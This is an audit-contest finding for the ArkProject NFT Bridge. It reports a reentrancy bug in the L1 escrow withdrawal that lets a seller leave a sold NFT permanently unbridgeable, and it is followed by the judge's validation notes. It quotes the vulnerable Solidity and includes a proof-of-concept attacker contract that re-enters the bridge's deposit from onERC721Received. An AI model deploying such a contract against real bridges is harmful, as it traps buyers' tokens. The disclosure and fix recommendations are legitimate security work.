ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy attack to make an NFT unbridgeable

fyamf

Summary

An attacker by applying reentrancy in the function _withdrawFromEscrow can make an NFT (whether L1-native or L2-native) un-bridgeable to L1 permanently.

  • Alice buys an L1-native NFT from Bob, and it is supposed to be transferred to Alice on L2.

  • Bob, bridges this NFT from L1 to his own address on L2.

  • Then, Bob transfers this NFT from L2 to L1 to a malicious contract already deployed by Bob on L1.

  • During withdrawal on L1, when safeTransferFrom is called, the malicious contract is called before the _escrow is set to address(0).

  • Now, the malicious contract re-enters and deposits this NFT to be bridged from L1 to Alice on L2.

  • During the deposit, the NFT is escrowed on L1, and the mapping _escrow is set to address of the malicious contract.

  • When reentrancy is finished, the withdrawal on L1 continues, and it sets the mapping _escrow to address(0).

  • Then, on L2, Alice receives the NFT.

  • But, Alice can never bridge this NFT to L1 (although this NFT is native on L1). Because the mapping _escrow on L1 is equal to address(0), so the protocol assumes that this NFT is not escrowed. So, if she tries to bridge it to L1, during withdrawal on L1, protocol tries to mint it (since _escrow = address(0)), and it will revert, as the NFT is already minted on L1 and it is owned by the bridge on L1.

Please note that the scenario explained above is about an L1-native NFT but this attack can be applied to L2-native NFTs as well.

Vulnerability Details

  • Suppose Bob (malicious user) owns an L1-native NFT on L1. He is going to give this NFT to Alice (honest user) on L2, and in return, Alice pays Bob. Note that Alice is not necessarily an EOA, it could be also like an NFT market place on L2. But, for simplicity, let's assume Alice is an EOA on L2.

  • Bob bridges this NFT from L1 to L2 to his own address on L2. So, after the withdrawal on L2, Bob owns this NFT on L2, while he has escrowed it on L1.

  • Then Bob, bridges this NFT from L2 to L1 to a malicious contract that is already deployed by Bob on L1. So, this NFT will be escrowed on L2.

  • During the withdrawal on L1, the malicious contract applies the following trick:

  • On L2 side, the NFT will be transferred to Alice, and Alice pays in return to Bob (we do not care about the payment here, it is just to make the scenario understandable).

What is the state now?

  • Alice owns the NFT on L2.

  • Bob has received the payment in return of transferring the NFT to Alice.

  • _escrow[collection][id] = address(0x0) on L1.

_escrow[collection][id] = address(0x0) means that Alice is owning an L1-native NFT on L2 which is not escrowed on L1. In other words, if Alice bridges this NFT to L1, during withdrawal, it checks whether the NFT is escrowed or not.

if (!_isEscrowed(collection, id)) {
return false;
}

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L72

Since, escrow[collection][id] = address(0x0), it returns false.

function _isEscrowed(
address collection,
uint256 id
)
internal
view
returns (bool)
{
return _escrow[collection][id] > address(0x0);
}

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Escrow.sol#L99

Then the bridge tries to mint it.

for (uint256 i = 0; i < req.tokenIds.length; i++) {
uint256 id = req.tokenIds[i];
​
bool wasEscrowed = _withdrawFromEscrow(ctype, collectionL1, req.ownerL1, id);
​
if (!wasEscrowed) {
// TODO: perhaps, implement the same interface for ERC721 and ERC1155
// As we only want to deal with ERC1155 token with value = 1.
// Also, check what to do with URIs. If the URI storage is supported
// or not for ERC721. If supported, we may need to mint with an URI.
IERC721Bridgeable(collectionL1).mintFromBridge(req.ownerL1, id);
}
}

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/Bridge.sol#L208

function mintFromBridge(address to, uint256 id)
public
onlyOwner {
​
_mint(to, id);
}

https://github.com/Cyfrin/2024-07-ark-project/blob/main/apps/blockchain/ethereum/src/token/ERC721Bridgeable.sol#L57

In the function _mint, Since the NFT is already minted and is owned by the bridge, it does not allow to mint it again. So, it reverts.

function _mint(address to, uint256 tokenId) internal {
if (to == address(0)) {
revert ERC721InvalidReceiver(address(0));
}
address previousOwner = _update(to, tokenId, address(0));
if (previousOwner != address(0)) {
revert ERC721InvalidSender(address(0));
}
}

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v5.0.2/contracts/token/ERC721/ERC721.sol#L289

A simple malicious contract can be implemented as follows:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
interface IStarklane {
type snaddress is uint256;
​
function depositTokens(
uint256 salt,
address collectionL1,
snaddress ownerL2,
uint256[] calldata ids,
bool useAutoBurn
) external payable;
​
function withdrawTokens(uint256[] calldata request)
external
payable
returns (address);
}
​
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
​
contract BobMaliciousContract is IStarklane {
IStarklane iStarklane;
address collectionL1;
snaddress Alice;
​
constructor(
address _starklaneAddress,
address _collectionL1,
snaddress _alice
) {
iStarklane = IStarklane(_starklaneAddress);
collectionL1 = _collectionL1;
Alice = _alice;
}
​
// attack starts here
function run(uint256[] calldata request) public {
iStarklane.withdrawTokens(request);
}
​
// reentrancy happens here
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
uint256[] memory ids = new uint256[](1);
ids[0] = 1;
iStarklane.depositTokens(100, collectionL1, Alice, ids, false);
}
​
function depositTokens(
uint256 salt,
address collectionL1,
snaddress ownerL2,
uint256[] calldata ids,
bool useAutoBurn
) external payable {}
​
function withdrawTokens(uint256[] calldata request)
external
payable
returns (address)
{}
}

Impact

  • Making an NFT impossible to be bridged.

  • Selling an L1-native NFT to an user on L2, so that the user can not bridge it back to L1 forever.

Tools Used

Recommendations

Reentrancy guard is recommended on two functions depositTokens and withdrawTokens, or using transferFrom instead of safeTransferFrom during withdrawing an ERC721 token.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-withdraw-reentrancy-creates-unbridgeable-tokens

Impact: - NFT already bridged won’t be bridgeable anymore without being stuck. Likelyhood: Low. - Attackers will corrupt their own tokens, deploying a risky contract interacting with an upgradable proxy. They have to buy and sell them without real benefits, except being mean. Some really specific and rare scenario can also trigger that bug.

Appeal created

fyamf Submitter
10 months ago
n0kto Lead Judge
9 months ago
n0kto Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-withdraw-reentrancy-creates-unbridgeable-tokens

Impact: - NFT already bridged won’t be bridgeable anymore without being stuck. Likelyhood: Low. - Attackers will corrupt their own tokens, deploying a risky contract interacting with an upgradable proxy. They have to buy and sell them without real benefits, except being mean. Some really specific and rare scenario can also trigger that bug.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.